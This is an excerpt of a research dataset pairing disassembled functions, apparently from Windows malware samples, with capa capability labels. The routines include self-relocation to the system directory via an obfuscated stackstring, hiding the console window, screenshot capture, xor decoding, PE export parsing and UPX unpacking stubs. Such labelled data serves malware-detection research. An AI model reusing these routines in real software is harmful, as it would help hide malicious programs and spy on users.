joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401920
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push 0x7f8a
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
push eax
call dword [sym.imp.USER32.dll_SetSystemCursor]
call fcn.00401670
call fcn.00401280
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x220], 0x5c
mov byte [ebp - 0x21f], 0x5c
mov byte [ebp - 0x21e], 0x73
mov byte [ebp - 0x21d], 0x79
mov byte [ebp - 0x21c], 0x73
mov byte [ebp - 0x21b], 0x74
mov byte [ebp - 0x21a], 0x65
mov byte [ebp - 0x219], 0x6d
mov byte [ebp - 0x218], 0x2e
mov byte [ebp - 0x217], 0x65
mov byte [ebp - 0x216], 0x78
mov byte [ebp - 0x215], 0x65
mov byte [ebp - 0x214], 0
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4daea0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x98000]
push edi
jmp 0x4daeba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4daec1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4daeb0
mov eax, 1
add ebx, ebx
jne 0x4daed3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4daee4
jne 0x4daf03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4daf03
dec eax
add ebx, ebx
jne 0x4daef0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4daec8
add ebx, ebx
jne 0x4daeff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4daf55
xor ecx, ecx
sub eax, 3
jb 0x4daf1b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4daf8a
sar eax, 1
mov ebp, eax
jmp 0x4daf26
add ebx, ebx
jne 0x4daf26
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4daef4
inc ecx
add ebx, ebx
jne 0x4daf34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4daef4
add ebx, ebx
jne 0x4daf41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4daf36
jne 0x4daf52
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4daf36
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4daf74
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4daf66
jmp 0x4daeb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4daf74
add edi, ecx
jmp 0x4daeb6
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4daf92
cmp byte [edi], 0x13
jne 0x4daf92
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4daf97
lea edi, [esi + 0xd6000]
mov eax, dword [edi]
or eax, eax
je 0x4db00f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1045fc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x104750]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4dafc4
mov ecx, edi
jns 0x4daff3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x104754]
or eax, eax
je 0x4db009
mov dword [ebx], eax
add ebx, 4
jmp 0x4dafe1
call dword [esi + 0x104764]
mov ebp, dword [esi + 0x104758]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4db043
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret
Function at 0x40520c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405245
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40524e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405258
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405279
mov al, byte [esp]
jmp 0x40527b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4062da
Capabilities:
Encode data using xor

Disassembly:
dec ecx
mov eax, 0xbbfe09
add byte [eax], al
add byte [ecx], dh
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ebx
mov edx, 0x619dd282
mov ecx, 0x523a2e01
xor ecx, edx
push 0x751006c7
mov edi, 0x46b7fa44
pop edx
xor edi, edx
xor edi, ecx
mov ecx, 0x55fec5ce
mov ebx, 0x59b1bf71
xor ebx, ecx
mov ecx, 0xc0f6abf
xor ebx, ecx
xor edi, ebx
xor esi, esi
add esi, edi
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], esi
call eax
pop ecx
mov edi, 0x3e42ac18
xor edi, 0x30ca9bda
push edi
mov edx, 0x1d47f873
xor edx, 0x13cfcf94
pop ebx
xor edx, ebx
mov ecx, 0x589d0589
xor ecx, 0x1bbc133b
mov esi, 0x15dbf089
xor esi, 0x56fae53b
xor esi, ecx
xor edx, esi
mov ebx, 0x4d4aa714
xor ebx, 0x165c16e1
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x5b5690e3
and ebx, 0xa4a96f1c
or ebx, eax
push 0x6fc8565e
mov esi, 0x766c2aa7
pop eax
xor esi, eax
push esi
mov edi, 0x6f86ac6a
xor edi, 0x76229093
pop ecx
xor edi, ecx
xor ebx, edi
mov eax, 0x8001c70
mov ecx, 0x10026184
xor eax, ecx
push 0x617da1c4
mov edi, 0x7944d1b8
pop ecx
xor edi, ecx
xor edi, eax
push 0x3b94b5ba
mov esi, 0x43258ca5
pop eax
xor esi, eax
mov eax, 0xfddd90b
xor esi, eax
xor esi, 0x7717615b
xor esi, edi
push 0x2a3e2955
mov ecx, 0x2a3e2951
pop eax
xor ecx, eax
sub esp, ecx
mov eax, esp
push eax
pop edi
mov dword [edi], edx
mov edi, esi
add esp, 0xfffffffc
mov dword [esp], edi
pop ecx
mov edi, 0
xor edi, ecx
mov eax, 4
sub esp, eax
mov dword [esp], edi
xor edx, edx
mov dl, byte [ebx]
add esi, edx
mov dl, byte [esi]
pop esi
mov byte [ebx], dl
dec ebx
pop edx
mov edi, 0x1a200010
mov eax, 0x6009184e
xor edi, eax
mov ecx, 0x4e24667b
xor ecx, 0x340d7e24
xor ecx, edi
sub edx, ecx
mov ecx, 0x41a2400
mov eax, 0xa00281
xor ecx, eax
mov eax, 0x2cf2efae
mov edi, 0x2848c92f
xor edi, eax
xor edi, ecx
xor edi, edx
and edi, edx
jne 0x4063d4
push 0x22cb03b8
mov edi, 0x29c2ac80
pop eax
xor edi, eax
push edi
mov edi, 0x68e266cd
mov ecx, 0xdde0954
xor ecx, edi
pop edx
xor ecx, edx
mov edi, ecx
add esp, 0xfffffffc
mov dword [esp], edi
mov ecx, 0x3cf9f7c9
xor ecx, 0x2729f4b1
push ecx
mov ecx, 0x458c8bb0
mov ebx, 0x3029159b
xor ebx, ecx
pop eax
xor ebx, eax
pop esi
xor ebx, esi
call ebx
pop ecx
pop ecx
ret
Function at 0x40123c
Capabilities:
Create pipe
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0040b440
mov eax, dword [0x245923c]
mov ecx, dword [0x2458cc8]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x401315
mov edi, ecx
mov ebx, eax
cmp dword [0x245923c], 0x959
jne 0x401305
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push str.xajoraboyufutudani
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
lea eax, [ebp - 0x1000]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
lea eax, [ebp - 0x400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x401268
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4074d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440460]
jne 0x4074da
repz ret
jmp fcn.0040b46b

Function at 0x4079ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x440460]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040572a
and dword [ebp - 0x14], 0
cmp dword [0x4467d8], 0
mov dword [ebp - 0x18], eax
jne 0x407a5e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407b06
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x407b06
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4467d8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4467dc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4467e0], eax
call edi
push eax
call esi
mov dword [0x4467e8], eax
test eax, eax
je 0x407a5e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4467e4], eax
mov eax, dword [0x4467e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407ab7
cmp dword [0x4467e8], ecx
je 0x407ab7
push eax
call esi
push dword [0x4467e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407ab7
test ebx, ebx
je 0x407ab7
call edi
test eax, eax
je 0x407aae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407aae
test byte [ebp - 8], 1
jne 0x407ab7
or dword [ebp + 0x10], 0x200000
jmp 0x407aea
mov eax, dword [0x4467dc]
cmp eax, dword [ebp - 0x18]
je 0x407aea
push eax
call esi
test eax, eax
je 0x407aea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407aea
mov eax, dword [0x4467e0]
cmp eax, dword [ebp - 0x18]
je 0x407aea
push eax
call esi
test eax, eax
je 0x407aea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4467d8]
call esi
test eax, eax
je 0x407b06
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407b08
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004074d0
leave
ret
Function at 0x401450
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x10], 0
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
jb 0x4014a3
push edi
mov edi, dword [ebp + 0xc]
ja 0x40146e
test edi, edi
je 0x4014a2
push ebx
mov ebx, dword [ebp - 4]
push esi
mov esi, dword [ebp - 8]
mov eax, dword [ebp + 0x14]
mov ecx, esi
mov edx, dword [ebp + 0x18]
and ecx, 7
shl ecx, 3
call fcn.00408c00
mov ecx, dword [ebp + 8]
xor byte [esi + ecx], al
add esi, 1
adc ebx, 0
cmp ebx, dword [ebp + 0x10]
jb 0x401476
ja 0x4014a0
cmp esi, edi
jb 0x401476
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4014b0
Capabilities:
Hide graphical window

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp fcn.004021b0
Function at 0x403940
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x410654]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4109a8]
test eax, eax
jne 0x4039ec
push esi
lea ecx, [ebp - 0x1d]
call fcn.00402e10
mov esi, eax
cmp byte [esi + 0xc], 0
je 0x403989
push 0xeb995df1
push 0xff715fd1
push 0
push 0xc
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0xc], 0
lea eax, [esi + 0xb]
xor ecx, ecx
lea edx, [ebp - 0x38]
cmp edx, eax
ja 0x40399c
lea eax, [ebp - 0x22]
cmp eax, esi
jae 0x4039b2
movq xmm0, qword [esi]
mov ecx, 8
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [ebp - 0x38], xmm0
movsx ax, byte [ecx + esi]
mov word [ebp + ecx*2 - 0x38], ax
inc ecx
cmp ecx, 0xc
jb 0x4039b2
movups xmm0, xmmword [ebp - 0x38]
push 0
push 0
push 0
movups xmmword [ebp - 0x1c], xmm0
lea eax, [ebp - 0x1c]
movq xmm0, qword [ebp - 0x28]
push 0
push eax
movq qword [ebp - 0xc], xmm0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [0x4109a8], eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret
Function at 0x4051a0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0xaaaaaaab
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
lea ecx, [ebx + 2]
mul ecx
shr edx, 1
lea esi, [edx*4 + 1]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, dword [ebp + 8]
add esp, 4
mov dword [edi], eax
xor eax, eax
mov dword [edi + 4], esi
xor esi, esi
test ebx, ebx
je 0x40533c
mov edx, dword [ebp + 0xc]
mov cl, byte [edx]
dec ebx
mov byte [ebp + esi - 8], cl
inc edx
mov cl, byte [ebp - 6]
inc esi
mov ch, byte [ebp - 7]
mov byte [ebp - 1], cl
mov cl, byte [ebp - 8]
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0xc], edx
mov byte [ebp - 3], ch
mov byte [ebp - 4], cl
cmp esi, 3
jne 0x40527f
mov esi, dword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov bl, cl
mov dl, cl
and bl, 3
mov cl, ch
shl bl, 4
shr cl, 4
mov bh, ch
add bl, cl
shr dl, 2
mov byte [ebp - 2], bl
and bh, 0xf
mov byte [ebp - 0xb], bl
mov bl, byte [ebp - 1]
mov cl, bl
shl bh, 2
shr cl, 6
and bl, 0x3f
add bh, cl
mov byte [ebp - 0xc], dl
movzx ecx, dl
mov edx, dword [edi]
mov byte [ebp - 0xa], bh
mov byte [ebp - 9], bl
mov cl, byte [ecx + esi]
mov byte [eax + edx], cl
movzx ecx, byte [ebp - 2]
mov edx, dword [edi]
mov cl, byte [ecx + esi]
mov byte [edx + eax + 1], cl
mov edx, dword [edi]
movzx ecx, bh
mov cl, byte [ecx + esi]
mov byte [edx + eax + 2], cl
mov edx, dword [edi]
movzx ecx, bl
mov ebx, dword [ebp + 0x10]
mov cl, byte [ecx + esi]
mov byte [edx + eax + 3], cl
add eax, 4
mov edx, dword [ebp + 0xc]
xor esi, esi
test ebx, ebx
jne 0x4051e0
mov dword [ebp + 0x10], esi
test esi, esi
je 0x40533c
mov ecx, esi
cmp esi, 3
jge 0x4052b8
cmp ecx, 3
jae 0x40534b
mov byte [ebp + ecx - 8], 0
inc ecx
cmp ecx, 3
jl 0x40529c
mov ch, byte [ebp - 6]
mov dl, byte [ebp - 7]
mov bl, byte [ebp - 8]
jmp 0x4052c1
mov dl, byte [ebp - 3]
mov bl, byte [ebp - 4]
mov ch, byte [ebp - 1]
mov cl, bl
xor edi, edi
shr cl, 2
and bl, 3
mov byte [ebp - 0xc], cl
mov cl, dl
shr cl, 4
and dl, 0xf
shl bl, 4
add bl, cl
shl dl, 2
mov cl, ch
mov byte [ebp - 0xb], bl
shr cl, 6
and ch, 0x3f
add dl, cl
mov byte [ebp - 9], ch
lea ecx, [esi + 1]
mov byte [ebp - 0xa], dl
mov dword [ebp - 8], ecx
test ecx, ecx
jle 0x40531b
mov ebx, dword [ebp + 8]
mov esi, dword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx ecx, byte [ebp + edi - 0xc]
inc edi
mov edx, dword [ebx]
mov cl, byte [ecx + esi]
mov byte [eax + edx], cl
inc eax
cmp edi, dword [ebp - 8]
jl 0x405304
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
cmp esi, 3
jge 0x40533c
mov edx, 3
sub edx, esi
nop word [eax + eax]
mov ecx, dword [edi]
mov byte [eax + ecx], 0x3d
inc eax
sub edx, 1
jne 0x405330
mov ecx, dword [edi]
mov byte [eax + ecx], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00408d41
int3
Function at 0x4063e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
xor esi, esi
mov ecx, dword [edi + 0x3c]
mov ebx, dword [ecx + edi + 0x78]
mov ecx, dword [ebx + edi + 0x20]
add ebx, edi
add ecx, edi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp - 8], eax
mov eax, dword [ebx + 0x24]
add eax, edi
mov dword [ebp - 4], eax
cmp dword [ebx + 0x14], esi
jbe 0x40644f
nop dword [eax]
mov eax, dword [ecx + esi*4]
add eax, edi
push eax
call dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x406446
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
movzx ecx, word [ecx + esi*2]
mov ecx, dword [edx + ecx*4]
add ecx, edi
mov dword [eax*4 + 0x4109f4], ecx
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebx + 0x14]
jb 0x406420
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408060
Capabilities:
Capture screenshot
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x410654]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10c]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x120]
push 8
push eax
call fcn.00405880
push dword [eax]
lea eax, [ebp - 0x10c]
push 0x105
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov eax, dword [ebp - 0x120]
add esp, 0x14
test eax, eax
je 0x4080be
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 1
call esi
mov edi, eax
push 0
mov dword [ebp - 0x11c], edi
call esi
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
mov dword [ebp - 0x114], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 8
push esi
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0x118], eax
call esi
push 0xa
push dword [ebp - 0x114]
call esi
push edi
push ebx
push dword [ebp - 0x114]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
push eax
push dword [ebp - 0x118]
call edi
push 0xcc0020
push 0
push 0
push dword [ebp - 0x114]
mov esi, eax
push dword [ebp - 0x11c]
push ebx
mov ebx, dword [ebp - 0x118]
push 0
push 0
push ebx
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
push ebx
call edi
push dword [ebp - 0x114]
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
mov edi, eax
call esi
push ebx
call esi
lea eax, [ebp - 0x10c]
push eax
push edi
call fcn.00407500
add esp, 8
lea ecx, [ebp - 0x10d]
call fcn.00407040
mov esi, eax
cmp byte [esi + 0xf], 0
je 0x4081a6
push 0x35bde91b
push 0x292feb5f
push 0
push 0xf
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0xf], 0
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.00404d10
add esp, 8
lea ecx, [ebp - 0x10d]
test eax, eax
jne 0x4081e7
call fcn.00406aa0
mov esi, eax
cmp byte [esi + 0x14], 0
je 0x40820f
push 0xc1b95361
push 0xb9dd8709
push 0
push 0x14
push esi
call fcn.00401450
mov byte [esi + 0x14], 0
jmp 0x40820c
call fcn.00407430
mov esi, eax
cmp byte [esi + 0x1c], 0
je 0x40820f
push 0x1ebaf17
push 0xeba19395
push 0
push 0x1c
push esi
call fcn.00401450
mov byte [esi + 0x1c], 0
add esp, 0x14
push esi
call fcn.00403de0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00408be8
mov esp, ebp
pop ebp
ret
Function at 0x448b10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x448b32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x448b39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x448b28
mov eax, 1
add ebx, ebx
jne 0x448b4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x448b5c
jne 0x448b6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x448b6c
dec eax
add ebx, ebx
jne 0x448b68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x448b40
xor ecx, ecx
sub eax, 3
jb 0x448b84
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x448bf6
sar eax, 1
mov ebp, eax
jmp 0x448b8f
add ebx, ebx
jne 0x448b8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x448b9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x448bc0
inc ecx
add ebx, ebx
jne 0x448bac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x448ba1
jne 0x448bbd
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x448ba1
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x448be0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x448bd1
jmp 0x448b2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x448be0
add edi, ecx
jmp 0x448b2e
pop esi
mov edi, esi
mov ecx, 0x921
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x448bfe
cmp byte [edi], 7
jne 0x448bfe
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x448c03
lea edi, [esi + 0x46000]
mov eax, dword [edi]
or eax, eax
je 0x448c7b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x48990]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x48a08]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x448c30
mov ecx, edi
jns 0x448c5f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x48a0c]
or eax, eax
je 0x448c75
mov dword [ebx], eax
add ebx, 4
jmp 0x448c4d
call dword [esi + 0x48a10]
popal
jmp 0x4150a0
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x50ef2c50
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x42431a7d
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4029a0
Capabilities:
Hash data via wincrypt

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fe415
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
push edi
mov eax, dword [0x569080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x1c], 0x52fe14
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x52fe1c
mov dword [ebp - 0x10], 0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00402ec0
mov esi, eax
test esi, esi
jne 0x402a1f
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x402a24
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov dword [edi + 0xc], esi
